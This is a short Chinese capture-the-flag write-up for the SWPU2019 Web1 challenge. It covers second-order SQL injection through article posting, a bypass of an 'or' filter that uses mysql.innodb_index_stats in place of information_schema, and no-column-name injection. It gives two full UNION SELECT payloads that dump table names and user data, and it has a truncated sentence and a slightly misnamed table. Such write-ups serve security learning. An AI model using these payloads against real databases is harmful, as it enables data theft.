[SWPU2019]Web1 二次注入(适用于发表文章后查看文章的逻辑) & 过滤了or的注入方法:不使用information_schema这个内置库 &无列名注入
首先,这是一个二次注入,先insert into 到文章表,填字段的时候想着查询语句的结构,填写恶意语句。
输入过滤了or、注释符
or被过滤了,影响很大,第一不能order by 了,得union select慢慢试,最要紧的是information_schema不能用了,这个内置库不能用的话,就查不了库名表名,就无法sql注入。
绕过方法:mysql.innodb_table_stats或mysql.innodb_index_stats代替information_schema ,这个mysql.innodb_table_i
使用mysql.innodb_index_table_stats绕过语句:
-1'union select 1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from mysql.innodb_index_stats where database_name="web1"
但是mysql.innodb_table_stats这个库里只存储库名和表名,不存储列名,所以只用爆破表名就行了,即只用上面一条语句就行了。
要使用无列名注入绕过:
-1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
把第二回显位的子查询单独拿出来看:
select group_concat(b) from (select 1,2,3 as b union select * from web1.users)a
form后面的表是(select 1,2,3 as b union select * from web1.users),这里是把1,2,3三个字段构成的表b和users表进行了联合查询,这样一查,1,2,3就变成字段名了(我粗浅的理解),然后给这个派生表一个别名a。